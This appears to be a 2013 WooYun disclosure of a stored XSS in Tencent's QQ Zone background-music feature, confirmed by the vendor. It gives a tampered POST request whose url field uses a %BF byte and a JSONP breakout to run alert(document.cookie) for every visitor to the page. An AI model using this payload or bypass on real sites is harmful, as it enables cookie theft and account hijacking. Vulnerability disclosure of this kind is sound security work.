当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-039965

漏洞标题:QQ空间存储XSS

相关厂商:腾讯

漏洞作者: neobyte

提交时间:2013-10-16 18:19

修复时间:2013-11-30 18:20

公开时间:2013-11-30 18:20

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-16: 细节已通知厂商并且等待厂商处理中
2013-10-16: 厂商已经确认,细节仅向厂商公开
2013-10-26: 细节向核心白帽子及相关领域专家公开
2013-11-05: 细节向普通白帽子公开
2013-11-15: 细节向实习白帽子公开
2013-11-30: 细节向公众公开

简要描述:

QQ空间存储XSS,访问用户空间首页自动触发

详细说明:

QQ空间,添加背景音乐,选择"添加网络背景音乐",任意输入Url,姓名,歌曲名等信息
拦截数据包,篡改url参数如下(两个xxx是当前用户qq号):

POST http://qzone-music.qq.com/fcg-bin/favnetsongtobgm.fcg?g_tk=1994248789 
......
formsender=1&source=102&url=http%3A%2F%2F112233%BF'}]}}});alert(document.cookie)//.mp3&songtitle=112233&singer=112233&desc=&inCharset=gb2312&uin=xxx&hostUin=xxx&notice=0&needNewCode=0&g_tk=1994248789&format=fs&platform=musicbox&outCharset=gb2312


然后其他用户访问该空间首页即触发XSS.
分析:
上述数据保存在服务器端后,通过一个JSONP加载,该JSONP的URL是
http://qzone-music.qq.com/fcg-bin/cgi_playlist_xml.fcg?json=1&uin=xxx&g_tk=5381
关于%BF, 请参考 WooYun: 腾讯一处存储型XSS - 有过滤?我绕绕绕! ,不同的是这里是JSONP,所以无需<script>标签以及复杂的绕过方法,js即可!

漏洞证明:

qq.png

修复方案:

严格点,用白名单吧

版权声明:转载请注明来源 neobyte@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-10-16 18:55

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步

最新状态:

暂无